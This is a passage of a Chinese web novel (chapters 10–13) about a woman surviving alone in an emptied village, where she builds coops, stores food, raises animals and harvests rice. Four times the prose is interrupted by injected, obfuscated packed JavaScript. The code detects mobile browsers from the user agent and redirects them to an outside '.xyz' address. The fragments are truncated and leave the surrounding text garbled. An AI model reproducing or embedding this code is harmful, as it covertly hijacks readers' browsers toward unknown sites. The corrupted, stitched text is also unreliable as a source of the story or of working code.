不知是不是错觉,风栖总觉得车轮下的马路也不那么平整了,就好像这些浇筑出的坚硬路面下也有植物在努力冒尖儿。风栖相信,它们突破这层坚固表面是迟早的事。 她还看到了不少动物尸体。 大的,小的,远远看去辨不清物种,或多或少地堆里在道路两旁的灌木丛中,白骨和腐臭的血肉堆在一起,苍蝇盘旋其上。 死于捕猎?还是疾病、饥饿? 风栖无法确定,只能靠猜测推断那生前是只什么动物。 她还经过了一家动物园。 地图导航上显示右边小道进去三公里有一间动物园,风栖犹豫了一下,还是决定过去看看。 动物园的牌子松动掉了一半,剩下一半松垮垮挂在门口。从爬满绿藤的铁栅门驶进去,风都变冷了。 风栖有点害怕,握着方向盘的手不由自主捏紧。 地图导航介绍里,这家动物园有老虎,还是东北虎。是不是真从东北来的老虎她也不知道,导航介绍里还有梅花鹿、狼、大象什么的。 风栖自己都不知道自己为什么要过来。 可能就是想看看?反正她肯定不会把那些猛兽放出来的。 现在自己才是最珍贵的世界级保护动物好吗? 她小心地行驶向猛兽园。 车还没到门口,她就听到了不知是什么动物发出的、惊天动地的嚎叫。 这是她第一次在现实中听到这么可怕的叫声。她真的吓呆在驾驶座上,动不了了。反应过来后,风栖猛打方向盘离开,一直把那间动物园远远甩在后面,心还砰砰狂跳,手不停哆嗦。 是她太自大了,也太惯着自己的好奇心了。 她不知道那声吼叫是不是老虎发出的,可能是,也可能来自于更陌生更凶猛的野兽,如果当时自己没有跑掉…… 如果那只老虎真的挣脱了笼子,这辆车能拦住它吗? 直到老房子轮廓出现在视线内,风栖仍心有余悸。她强迫自己不去想,该做些什么转移注意力。 有点饿了,吃点东西好了。 一路上看到不少动物尸体,叫她现在不想吃肉,回想起都有些恶心。 她牵着几条狗去附近菜地摘了点南瓜小白菜西红柿什么的,回来烧水顺便煮了一锅乱炖,草草吃了。 下午太阳依旧炎热,风栖戴了草帽,还是决定先把活儿干完,至少先把鸡窝垒起来。以后打来的鸡鸭和兔子什么的,都可以养在邻居家院中。 风栖顺道去看了一眼鸡鸭们。 死了两只鸡,鸭一只没少,看着精神还不错的样子。 至于带回来的那些鸡蛋…… 风栖把鸡蛋们都放在小房间里,避光,又堆了不少棉花和稻草保温,目前没有任何孵化迹象。 风栖谈不上失望,这些鸡鸭大半能活下来她就很知足了。 死掉的鸡她不敢吃,也不敢丢给猫狗们,装进塑料袋里,大门往外走远一段,远远扔了出去。 至于会被哪些动物吃掉,这她就不管了。 …… 砌墙一直砌到了天黑。 风栖是真的累瘫了,腰都直不起来了。她没什么经验,按照搜索来的教程,先搅水泥砂浆,光这一步就弄得手都磨出了血泡。看到水泡风栖才后知后觉自己真是傻,翻出工地上干活用的白手套戴上继续搅,估摸着搅够了。一看教程,还要先打地基,要竖钢筋…… 风栖自己都不知道怎么坚持下来的,最后她成功垒出大约二十平的四格三层禽窝,还没有封顶,准备等墙干透了再封顶。 防水材料也没有,还得跑一趟建材市场。 除此外还有一间,准确来说是半间十平米左右的小房间,就搭在井边两米不到的距离。同样没有封顶,还只搭了一半,只有L型的两面墙。 这是风栖给自己建的洗澡做饭一体屋,她真的不想再提水了。 虽然屋子还没建好,但不妨碍风栖直接在井边生火,烧水下面吃,吃了足足三碗面才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773312|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下,碗还不是小碗,都是有成年人脸那么大的、直径100mm 的大碗。 就这样风栖也没觉得吃饱,害怕一口气把胃撑坏才停下。 太累太饿了,难怪干活的人能吃这么多。自己多久没吃过这么多了?好像就青春期长个子那会儿特别能吃,她妈妈每天做饭都要吐槽,说她的胃简直是个无底洞。 风栖实在累得不行,一根手指头都不想动了,碗也不想洗,放在井边,留给明天的自己再洗吧。 炉子上还在烧水,估摸着水烧够了,也懒得提走,兑了冷水后,直接在院子里幕天席地洗了个澡。 有时候,人突破了下限,就会一再突破。 脏衣服也不管了,和碗一样扔在一边,留给明天勤快的自己。换洗衣服没拿,也不在意了,全身上下只穿着拖鞋,无比坦然地开门回家。 反正也没人看见,怕什么。 真要有人看见,她还能索要一笔精神损失费(不是) …… 一连花了六天,风栖总算把邻居家院子改造成了自己想要的样子。 水井在进门左手边,井的左手边建了个小屋子,红砖墙,一扇门两扇窗,正面看着像个人脸。门窗也都是从建材市场顺手牵羊来的。其实砌墙顺手后墙面反而不难,最难的反而是安装门窗和屋顶。光这一步就花了风栖一整天,还总是缺材料,又不得不回去找。 房间没搞吊顶,也没有多余装修,只是铺了一下地板,腻子刷了墙。四面墙一人高的地方各钉了一排三块小木板,巴掌大,用来放蜡烛和油灯。 看着很简陋,但建成后,风栖心中自豪感简直冲破天际。 她以前从来没想过,自己还能独立建成一个小房间。就算这房间不大,也简单,但这可是自己独立建起来的! 因为没有电,电锯电钻什么的都用不上,风栖使了老办法,要装钉子的地方靠铁锤用力锤,实在不行用钢丝拧紧,最后成品效果还不错。 水井和房屋之间的空地右手边,是鸡鸭们的新家,四个格子,鸡和鸭各占一格。风栖以后决定再养一些兔子,兔肉兔毛都是很好的。 至于空着一格,嗯……以后想到了再说吧。 彻底完工当天,风栖又去网了几十条鱼庆祝。 她自己一条,满院子猫猫狗狗分食了大半,那些小鱼、还没巴掌大的,都被她和骨头一起剁碎了,喂鸡鸭们。 11.第 11 章 新的浴室兼炉灶台完工后,风栖无疑解决了一个大//麻烦。 再也不用推着水回家洗澡啦。 做饭也不用打水推回自家厨房啦! 老房子家的大锅太大了,每次生火光是热锅就要热很久。风栖找来两个炉子,一大一小,大点的半人高,小点的就是个小茶炉,加个锡壶,专门用来烧水,靠墙放着。这样,她就随时可以烧水做饭。 而且那天第一次不穿衣服光着回家后,风栖就有点爱上了这种不受拘束的感觉。现在风栖晚上洗过澡,都是坦荡荡迎风回去睡觉。后面风栖也懒得走来走去了,直接在邻居家收拾出一个房间,每次洗过澡把积水扫出去后,就可以直接回房间睡下。 她还是喜欢夜里看风景的感觉,所以新收拾的房间依旧在顶楼。天快黑的时候,拉开窗户,只点亮一根蜡烛,隔着纱窗撑着下巴往外看归鸟还林。 青灰色的暮纱帐被更深更暗的夜色浸染,一切形影都被罩去,渐渐看不清了,天上的星星愈发亮起来。每日不变的景色,却总是看不腻, “又是一天。” 等天彻底黑了,风栖才点亮剩余的蜡烛,将房间照得亮堂堂。风栖坐在窗边,就着烛光写日记。 [这两天把收集来的东西都列了表格,画了地图。看起来储存很多了,但还是不放心…… 非常理解末世文里的主角疯狂囤货行为了,不管准备多少都感觉不够,又害怕发生意外,比如着火、漏水什么的,就功亏一篑了。] 风栖一开始实在不想列什么清单,后来被自己的记性打败了,她真记不住。风栖不得不花一整天盘点自己的小仓库们,关于油、碳、衣物、米、面、药品等物资,都放在哪些地方,保质期有多久等等。 [房屋没有人住,坏的特别快。虫蚁也很多……] 风栖不得不定下来,以后每个储藏地一星期去打扫两次,既要打扫,也要开窗通风,排查安全隐患,每次都要带猫狗一块儿过去,万一有老鼠或者虫蛇,必须马上清除。 不得不说,在捉老鼠方面,猫猫狗狗大军是天生的猎手。南方再怎么勤快打扫,都很难完全根除老鼠蟑螂和各种虫蚁,大城市也不例外。 带着猫狗大军在仓库们巡检一圈,起先每次都有新收获,或是老鼠,或是蟑螂,后面渐渐都不见了。 老鼠还好,蟑螂这玩意儿跟野草一样除不尽。趁杀虫剂和各种灭蟑螂老鼠的药还没过期,跟不要钱一样每间库房喷满致死量,再封锁门窗,过了好几天才敢去看。 [我恨! 杀虫剂还是需要改进,消灭蚊虫以后可以顺便毁尸灭迹,而不是让它们濒死前爬出来吓人一大跳。 差点以为它们要集体起飞对我发动进攻了,好可怕。] 天知道打开门一进去,看到满地蟑螂蚂蚁吓死了有没有?还以为杀虫剂喷成了引虫药,再一看才发现这些虫都死了。 [今日微雨。 懒得打理菜地,下雨天蚊虫又多起来,挂了艾草有用吗?不确定,反正我挂满了。 正好,端午节到了,想包点粽子,还想吃糯米饭。] 风栖小姨就是个囤货狂,离端午节还有大半个月,艾草已经摘了一箩筐——这还是她挨家挨户分送亲戚后剩的一箩筐,粽子叶糯米更是备了好几筐。 她还记得小姨在家族群里爽朗的语音,邀他们过节时都去大姐家里包粽子。怕她不回去,小姨还特地打电话问她放不放假。 “有三天假,我回家待两天。” “有不就来嘛,回来啊,回来,我糯米都买好了。” “小姨哎,我不会包粽子,包不好喔。” “那就过来吃嘛,你不是很喜欢吃糯米饭?来小姨家吃。不要去外面买,外面的粽子都有添加剂,吃了对胃不好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807837|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好好好,我一定回……” 风栖下了一点点糯米,三筒,估摸着大概够自己吃两天的量,想一下,自己挺喜欢吃糯米饭的,再抓一点点。 半小时后,面对满满一盆香喷喷的糯米饭,风栖陷入沉思,开始搜索。 狗能吃糯米吗? 可以,但是小心黏喉咙。 那还是算了,吃不完的可以喂鸡。 吃糯米长大的鸡可以叫糯米鸡吗? 风栖被自己冷到。 因为天太热了不想干活,所以风栖愣是白天在家里躺着,黄昏了才点着灯坐在院子里包粽子。 说不会包是真的不会,风栖的厨艺技能就没点亮多少,会包饺子(仅限于一种包法),勉强能包馄饨,至于粽子、包子、炸果子一类更是只会吃不会包。比起来她弟一个大男人都显得心灵手巧些。 这么多年大家都习惯了,逢年过节,一家人坐在一块儿忙活年夜饭的时候,她就只负责搞卫生,以及厚着脸皮蹭吃蹭喝。 整整二十分钟,对着教程拆了又包包了又拆十次,无能狂怒三次,风栖终于包出两个像样的粽子,好歹没散,拿绳子五花大绑严严实实扎得很牢固。 好不好看另说,这些小细节不重要,这不是包成功了吗?要知道,生糯米和熟糯米不同,完全没有一点凝聚力和合作精神,一挤就从叶子缝里溜出来,所以她能包成功,很伟大! 风栖拍了一张,发在家族群里。 [相亲相爱一家人] [风栖息之处]:看!这可是我亲手包的! [风栖息之处]:没找到豆沙,包了红枣[龇牙笑] 天彻底黑下来。 一群猫狗在院子里扑飞虫,风栖点着几个玻璃灯笼,摇着大蒲扇,一手西瓜一手粽子,又拍了一张照片,发在家族群中。 [风栖息之处]:端午节快乐! 12.第 12 章 天更热了。 没有天气预报,风栖只能估摸着,现在应该是三十六七度的样子。 冰箱不能用,风栖只得把吃剩下的糯米饭和粽子打包好,用木桶装了吊放进井里,这就是她的纯天然小冰箱。 第二天拿出来,擦干玻璃饭盒外的水珠,很快又渗出一层冷水珠,闻了闻,还没坏。热过后她又嫌太烫了,准备放凉了中午吃。早上就还是煮面。 现在煮面已经很方便了,小炉子上架个小铁锅,底下钳碎点蜂窝煤生火,水开了下面,再削点火腿片、火腿肠和鸡蛋和青菜,这几天早饭都是这么解决的。做好后都不用碗,端着小锅直接吃。 中午也简单,把面换成大米,一样加水一锅炖。 看了眼今天天气不错,估摸着不会下雨。吃过午饭后,风栖顶着大太阳把储藏的米搬了十袋到院子里晒。 地上铺开厚厚的一张塑料布,割开袋子,洁白的大米就像月光一样流泻出来。 “走开,不准碰。”风栖把好奇围上来的猫猫狗狗都赶到一边,抄着手在米里翻动,翻出几只黑黑小小的米虫,便套着塑料袋小心挑出来碾碎。 她记得小时候,奶奶每次买了米,倒进米缸后,都要往里面放一把花椒和几片蒜,说是防米虫,要是放久了,还要搬出来晒一晒。 她小时候坚定地以为米虫和蟑螂一样,只要打扫干净就不会有了。为了反驳奶奶的说法,她抓了把米装进塑料盒子里密封好。 明明密封得好好的,还用塑料袋裹了好几层,泡水里都没进水,结果半个月过去还是长出了蚂蚁大小的黑色米虫。后来她才知道,稻谷在田里生长时,成虫就已经在稻穗里产卵了,后期加工也去不掉。 “你们这群米虫。”风栖碾死同类,碎碎念,“我告诉你们,这世上只能有我一个米虫,明白吗?” 大概是国人天性?即便这些米不是她种的也不是她买的,握着一捧白花花大米,她心里就有种奇异的安心感。 往米里撒了几颗花椒,风栖摇着扇子回屋吃西瓜去了。 屋里阴凉的角落摆了三个大西瓜,都是昨天天黑后风栖去瓜田里摸的,井里还吊着一个,准备明天捞起来吃。 还好,村里瓜田里种的瓜没那么高级,不是无籽瓜。瓜皮留着剁碎喂鸡,西瓜籽留着种,风栖边吃边在心里盘算。 市面上大米保质期大多是六到十二个月,也就是顶多一年。不那么挑剔,不介意吃陈米的情况下可以保存两年。 腊肉、香肠一类一般也就放半年到一年。 罐头保质期更久点,有些能保存四五年,但风栖不太爱吃罐头。 各种调味品保质期也是一两年,不过风栖不太在乎。有盐和油就够了,自己再种些辣椒和葱姜蒜。 辣椒可以多种点。 发现猫狗都害怕辣椒的气味后,风栖就想起来可以自制点辣椒水辣椒油什么的,不是用来吃,而是用来防身。 不管什么野兽,对辣椒的气味应该都很敏感。 吃完最后一块西瓜,剩下半个懒得去井边保存,干脆切了码进白瓷盆里,再将盆漂放水桶中。 天越热,井水越凉,风栖早上打了一大桶井水放在客厅里,闲下来时,坐在附近都能感觉到凉意。红西瓜片盛在白瓷盆中,隔水浸取着一点寒凉。 风栖坐在地上靠墙撩着水玩,手指尖沾了水,点在保鲜膜表面,看着就像早上的露水。玩的手慢慢变冷了,就把水涂在眼睛上,那点寒意凉得人精神许多。 算了,换个角度想,这不是意味着,她有整整一年的时间可以大吃大喝衣食无忧么。 这一年可得好好放纵。 下午闲着没事干,风栖把家里打扫一遍后,剩下那半个本来准备留到晚上的西瓜终究还是没能挺到六点。 天暗了。 风栖给家里的两片菜地浇过水,给猫狗铲过屎,鸡舍鸭舍也都打扫过一遍,再去看看自己准备留着“孵化”的鸡蛋们。 一点动静都没有。 基本的生物知识她还是知道的,受//精蛋才能孵出,但风栖不知道怎么分辨。她搜索过,尝试过照灯法,但不知是暗室不够暗还是手电筒光不够亮,她看每个鸡蛋都感觉差不多,照不出来。还有说受//精蛋外壳更光滑,摇晃时声音更沉闷等。 风栖摸着蛋,陷入沉思。 怎么感觉每个蛋都差不多? 就跟以前买西瓜一样,家里人买西瓜总要煞有其事地敲敲壳听一听,还要叫她也听一听,问她西瓜怎么样。 她能说什么?什么声音沉闷声音清脆……听起来不都差不多吗?只能装着自己听出来了,假模假样敲几下,然后选个看起来最漂亮最圆润的瓜。 就像现在,风栖就选了四个最漂亮最圆润的鸡蛋,准备做晚饭。 风栖小时候不爱吃水煮蛋,只能吃下煎蛋炒蛋。家里供两个孩子上学,早饭没空做那么多花样,每天早上额外煮两个,一个给她弟,一个给她,叫他们在学校里饿了就吃。风栖总是把自己那个藏着,路上塞给弟弟,不知道的还以为她多心疼弟弟呢。 水煮沸了,咕噜噜冒泡。风栖小心地将鸡蛋倒进小锅,盖上盖。 她回想起,自己初中有一次,随手把鸡蛋塞抽屉里想着下午等老弟放学了让他回来吃。结果就这么忘了。过了一个多星期,整个房间都变得恶臭无比,风栖打扫了好几遍也没找着原因。 最后还是她弟凭着狗鼻子到处闻,闻到抽屉边,一拉开,见到了堪比地狱的噩梦情景,她凑过来一看都要吐了。 老弟麻溜跑去告状,害她被臭骂一顿,说不吃就不吃怎么还浪费粮食。后面爸妈看她实在不肯吃蛋,早上就不再煮她的份了。 人的口味总是在变,上高中的时候,不知怎么的突然就喜欢上了,水煮蛋也爱吃了,煮熟了拌进饭或者面里淋点辣椒酱,要不是怕胆固醇高,放开了吃的话能吃十几个蛋。 蛋熟了。 风栖端起小锅,里面鸡蛋倒出来冲凉水,放一边晾凉。小锅洗一洗,就着大火继续煮饭。 另一个小炉灶也点着火,一口小小的平底锅,青椒躺在上面煎得刺啦刺啦响,油辣的香气和白烟一块儿滋滋往外吐。 还好猫狗都在老房子那头,邻家院里只有鸡鸭,虽然也臭,但青椒香辣气味很霸道地驱散了那股难闻的气味。 米先前泡过,下的量也不多,煮起来就更快。辣椒炒完再等几分钟,就熟了。 风栖慢慢给蛋剥壳,蛋壳特地用小塑料袋装着,预备磨碎了一半喂鸡一半做肥料。 四个白弹的水煮蛋倒进炒青椒的盘里,拿叉子一点点碾碎了,再把饭倒进去搅。 黄黄绿绿,看起来非常伤眼的一盘混杂食,却是风栖平日上班最喜欢做的便当。 她嫌炒菜麻烦费时间,又不想总点外卖吃着伤胃,就无师自通了这个做法。青椒既是调味也是蔬菜,加上鸡蛋勉强也算个荤素搭配,非常营养。 天彻底黑下来了。 风栖吃过饭后就没事干,又不想那么快睡觉。看一眼时间,才不到八点。 在院子里转了两圈,风栖回屋穿上那一身雨衣雨靴加头盔的装备,带上两条狗,提着灯笼,准备去村里竹林砍几根笋。 想了下,出发前还是背上个背篓,里面装了斧头和弓箭。 弓是前几天开车去市里的射箭俱乐部拿的,本来也想多薅点箭,不过馆里用来射靶的箭尖头虽然坚固,却并不锋利。风栖就自己砍了竹子削了一大把简易竹箭,尖头抹了辣椒粉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834090|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乡下的月光似乎比城里亮不少,灯笼晕出的暖黄光都显得暗淡。 除了星光和烛光,还有别的光。 “哎呀,是萤火虫?” 转个弯,风栖惊讶地瞪大了眼睛。 小树林幽暗湿潮,闪着星屑般幽绿的光晕,忽上忽下,明明灭灭。 “蛋黄,我好久都没见到萤火虫了。” 风栖放下灯笼,屏着呼吸走近,不忍打扰。两条狗也被她挥挥手赶远几步,不知钻到什么地方挖洞刨土。 一只萤火虫飞到了她肩上,很细微的振翅声,像蝴蝶。 风栖侧头看去。萤火虫和她记忆中一样,灰扑扑的,和蜜蜂差不多大,尾部闪烁荧荧绿光。停了一会儿,又飞远了。 萤火虫多了起来。 越来越亮,越来越亮。就跟天上的星空被树林笼下了一块。 回去的路上,风栖提着的就是绿灯笼了,里面装了几十只萤火虫。 别说,这忽闪忽闪的绿光还真有点诡异。蛋黄想追着咬,被弹了下鼻子后才罢休。 到家后,风栖站在院墙外,打开灯笼,萤火虫便如吹雪一般飞散开。 风栖收好灯笼,再把背篓里的东西倒出来。 两只野兔子,灰扑扑的,已经死了,一只认不出品种的鸟,个头不算大,还有两只竹鼠。这些都是蛋黄和大黄抓住的猎物,当然,它们都是自己先吃饱了才上交的。 猎物一倒出来,院里猫猫狗狗们马上就围上来了。 “停!不准咬!”风栖拿根小棍棍,敲在一只狗跃跃欲试的爪子上。那只斑点狗顿时委屈地缩回去,很可怜地叫。 “别这么委屈的样子哈,下午你们都吃过了,这是加餐,又没饿着你们。” 风栖非常假公济私地按亲疏远近分配猎物,最听话最乖的,分到的肉最多,急哄哄想上来咬她的,不仅分不到,还被她揪起来弹鼻子敲爪子。 眼看这群小家伙吃完了,风栖把背篓里垫在底下的两根竹笋掏出来。一大一小,大的快半米了,小的也就手肘长,沾了血,有些腥味。 一只白猫急不可耐地想钻进竹篓里啃笋,被拎着后颈提起来弹了弹鼻子。 风栖没再管这些小祖宗,望一眼天,估摸着不会下雨,抱起两根竹笋往外走,关上院子门转去邻居家。进门后,点着灯笼坐在井边洗竹笋。她还能听见自家院子里猫狗们打架的声音。 风栖现在越来越少喂猫粮狗粮了,她更愿意每天花些时间挑几只带出去打猎,或者去鱼塘网鱼回来给它们吃。 再过一阵子,她就可以打开院子门,放这些猫狗们出去玩,自己解决伙食。愿意回来的,她就继续养着,愿意在外面流浪的,她也管不着了。 会这么想,也是因为这几天在村里巡逻,她没有发现什么危险的野兽,顶多就是黄鼬狐狸一类。倒是菜地果园都被野鸟糟蹋了不少,再不解决,丰收季节她就只能吃鸟啃剩下的了。 以前小区里有人投喂流浪猫,被指责得很厉害。风栖起初不懂,被科普了才知道猫简直就是鸟类天敌。不过现在,她不介意流浪猫多些,越多越好。 院子里的猫猫狗狗们都没有绝育,要是生崽了,她就接着养,养出感情不会咬她了,就可以用去捉老鼠抓野鸟。 风栖想着出了神,摇摇头继续洗,白嫩的笋泡在清凉井水中,很快搓洗掉血腥味。 小点儿的笋特别嫩,指甲掐一下能出水,散发着诱人的清香。 真的很香。 很香…… 于是本该留到明天的笋又没能活过第二天。 大晚上的,风栖喝着鲜笋蘑菇汤,吃着竹笋辣椒炒肉,又下了碗方便面,吃的不亦乐乎。 反正竹笋多的是,明天再去砍几根吧。 13.第 13 章 今天天气很不错。看起来快下雨了,乌云遮住了太阳,阴沉沉的,湿漉漉的大风阵阵刮过,树叶刮的噼里啪啦响。 “好凉快啊——”风栖摘了头盔,跟蝉一样滋儿哇乱叫。 艳阳高照不算什么,晒死个人。像这样的阴天,没有大太阳,又不下雨,又刮大风,才是最佳出行天气! 一旁十几条狗也汪汪汪叫起来,狗叫大合奏。 “小的们,去打猎吧。”风栖挨个揉揉狗头,拍了拍它们的屁股示意去玩。 今天她把狗子们全都带出来了,既是放风,也是考验。看这群狗狗的捕猎能力如何,以及带出来呼吸到自由空气后,还愿不愿意和她回家。 吹了好一阵风,心情舒爽不少,风栖不急着砍竹笋,先摘了几片竹叶,抿在嘴边吹哨子。 又尖又刺耳,非常难听,不过风栖还是吹得不亦乐乎,吹着吹着又忍不住想起以前看的某部电视剧,男主角用竹叶吹出了一支交响乐,更好笑了,一个人在竹林里嘎嘎傻乐半天。 玩累了,风栖又摘叶子促进绿叶编制事业。 编制谐音编织,不好笑吗? 太好笑了哈哈哈哈…… 地上的野草摘了和竹叶一起编笼子,编好以后又捉蚂蚱,一笼关一虫,吊在小树丛的树杈上,晃晃悠悠。 “你是蚂蚱,它也是蚂蚱,你们都是黄绿色,都长在竹林边,肯定有亲戚关系,一家子就要整整齐齐。”风栖挂上第九个小笼子,语重心长教育蚂蚱们,“现在,你们就是一条绳上的蚂蚱了,学会一起越狱好吗。” 中午风栖也没回家,而是领着狗子们去了鱼塘。 天阴阴的,鱼塘边就更凉快了,蚊虫也更多了。风栖戴上头盔捞了两条鱼,狗狗们想下水摸鱼的,她也没管,劈开一片小灌木林,整理出一片空地。 铺开野餐垫,四角用石头压上,竹筐和桶也先放下了,只把斧子挂在背上防身,到河边撒网。 狗子们勉强聚集了会儿,又四散开了,到处嗅嗅闻闻,或低头刨坑,有些钻进小树丛,很快就没影了。 见狗子们如此安逸,周围应该是没危险的。风栖更安心了,点着蚊香四个角各放一个,再脱了雨靴坐在野餐垫上,惬意地往后一躺,扒拉出零食开啃。 一只深黄色小土狗意料之中没跟着去打猎,趴在野餐垫上抻抻四肢,打个哈欠,非常理直气壮地把狗脑袋搭在风栖腰上准备睡觉。 “大黄,你好嚣张。”风栖把这狗脑袋拨下去。 养的猫狗太多了,她记性又不太好,本来也不会特别记得每只猫猫狗狗的特征。偏偏这狗太有个性了,懒得和她如出一辙,能摸鱼就绝不劳动,真应了那句,干活不积极吃饭第一名,让她记不住都难。 大黄被弹鼻子都懒得动一下,尖耳朵抖两抖,又把头埋在风栖腰上,继续睡觉。 “真是服了,居然有比我还懒的狗。”不对,怎么好像在骂自己。 算了,反正没人听见。大黄也听不懂,风栖继续喝可乐,美滋滋打了个嗝儿。 啊~天阴阴,水蓝蓝,就连可乐也如此好喝,还有比这更自在的事吗? 一罐可乐喝完,渔网抖动得厉害,风栖把大黄拍起来让它和自己一块儿拽渔网。 大概是没人捕鱼的缘故,每次下网都能捞上来很多,虽然鱼都不大,最大的也就巴掌大,不过每次都能有几十条。 提着网兜底往下倒,银亮的小瀑布哗啦啦泻入桶中,好些翻腾出来,野餐垫弄湿了一大块。风栖手忙脚乱去抓,到这时大黄就一点都不懒了,比主人更快更强地逮着鱼就下嘴,咬着条小鱼脖子一仰,半条鱼就进了嘴,剩下半条嘴巴一咬一咬地往里塞,尾巴甩得更欢快了。 风栖也不嫌弃鱼血掉在野餐垫上了,捉回所有的漏网之鱼后,又丢了一条给大黄吃。这回她稍微放远了些,看着大黄呱唧呱唧吃得香,自己也挪到大黄身边,捡了几根柴,又把筐底的一点蜂窝煤倒出来,很快就点着了篝火,削了根粗竹签叉鱼,架在火上烤。 这!才是正宗野餐! 鱼肉熟得很快,滋滋飘着焦香。风栖还在美滋滋等待,忽然想起来,自己连煤块和野餐垫都带了,却没带调味料? 哪怕有一袋盐都好啊!! 最近的菜地离这也远,风栖站在原地,天人交战,最后还是懒癌占了上风,她选择将就着吃。 一顿野餐虚头蛇尾地结束,没有任何调味的香喷喷的鱼比不香还难受,倒不如没香味儿呢,这样她还不那么馋。 回去后风栖恶狠狠煎了一条鱼,狠狠撒了一大把辣椒和蒜,吃得不亦乐乎。 带出去的狗子们果然有两条没回来,风栖心里虽然有预感,心里仍旧有点不好受。 她不知道这两条狗为什么没回来。 是出了意外?还是不想回? 不管哪种结果都让她心里有点不是滋味。 算了,不想了。 风栖挨个检查狗子们有没有受伤,有没有被蚊子咬,结果摸到一条狗屁股后面血淋淋的。 风栖吓了一跳,抱着狗嗷一嗓子冲进堂屋就翻药箱。 “大黄白,你怎么了!哪里受伤啊?怎么流那么多血?” 棉球沾湿了小心擦拭,结果血还是一直流,可是流血的地方又不像是伤口,狗看起来也不疼的样子。 等等! 好像……狗也是会来大姨妈的? 风栖拉开狗腿一看,没有小口红,是母的没错。 啊这…… “你来例假了啊。”差点她就要涂酒精了,还好还好。 风栖抚摸狗头,动用手机不多的电量开始搜索:狗来大姨妈该怎么办? 嗯?还有宠物专业生理裤这玩意儿? 还要护垫? 啊? 人用的行吗? 风栖目光复杂地揣起狗子左右端详。 “来大姨妈这种事,人类来也就算了,你们怎么也有啊?” 大黄白是一条很温顺的狗,被她摆弄来摆弄去也不反抗,只会嫩嫩地叫,圆眼睛很温顺地看着她,看的她心都要化了。 鉴于这条狗子生理期到了,风栖特别批准它上二楼睡觉,还单独铺了个暖和的狗窝——其实就是旧衣服堆在笼子里,又铺了好几张隔尿垫,确保血不会散出来。 又给它专门开小灶——罐罐加零食,每天还根据猎物喂一条鱼或者一只鸟什么的。 狗的例假期比人还长,还没等狗子的例假期过了,其他狗也陆陆续续跟着流血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849274|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风栖不得不把它们全挪到二楼住。 “这算什么?住久了例假期都一样了?”就跟同寝室的人月经期会越来越接近一样? 时间一晃就到六月下旬了。 风栖不得不迎来一件最不耐烦、最不想做的事。 割稻子。 下地干过活又不是经常干活的人都知道,种地很难,收割也很难。没有干惯活的人,弯个腰不用半小时,腰就要断了。 “啊啊啊啊啊——” 夕阳下,风栖在稻田里扶着腰惨叫。 根据她搜索识图和浅薄的农学经验,早稻已经熟了。 其实她可以不收稻子的,反正屯了那么多米,凑合凑合也够吃两年。两年后再种地收割也不是不行。 风栖试图用这个理由说服自己,但还是无法遏制住每天都稻田边转悠的冲动。 这可是粮食! 再不收,被鸟全吃了,这片土地荒废了,以后想种都难了。 最后她还是说服了自己。 就当锻炼了。 真是令人心酸的理由,就跟第一份工作老板故意拖欠工资回家后父母安慰的话一样。 更悲惨的是,风栖在整个村子里转了一圈,发现了不少小稻田,但无一例外都没有见到收割机。不然她宁愿花费电量也一定会查到收割机使用教程的。 现在,也只能搜索如何手工割稻子了。 风栖腰都要断了,跟僵尸一样直愣愣支着腰站稳好不掉进水里,抹一把辛酸泪,安慰自己。 两百平的稻田呢,一个人吃怎么着都够一年了,只要能保持一年一熟,就算收成不好,也足够对付了。 只要收割一次就好。 一年就一次!这和年终奖有什么区别?要知道稻子可以磨粉,可以做大米饭,还可以做麦芽糖,这不是年终奖是什么? 风栖也不会自虐到非要顶着大太阳干活。她选了两个时间段。早上五点到七点。七点后太阳就开始热了,正是回家避暑的好时机。其次就是晚上七点到八点,南方夏天天黑的晚,只要不下雨,六七点了也依旧明亮。 风栖信心满满。 每天三小时,一小时割十平米,一天就是三十平,三天差不多就可以搞定啦哦耶。 然后她就被打脸了。 十分钟的农活需要用半小时的休息和一瓶可乐治愈。 出勤一小时,实操十分钟。 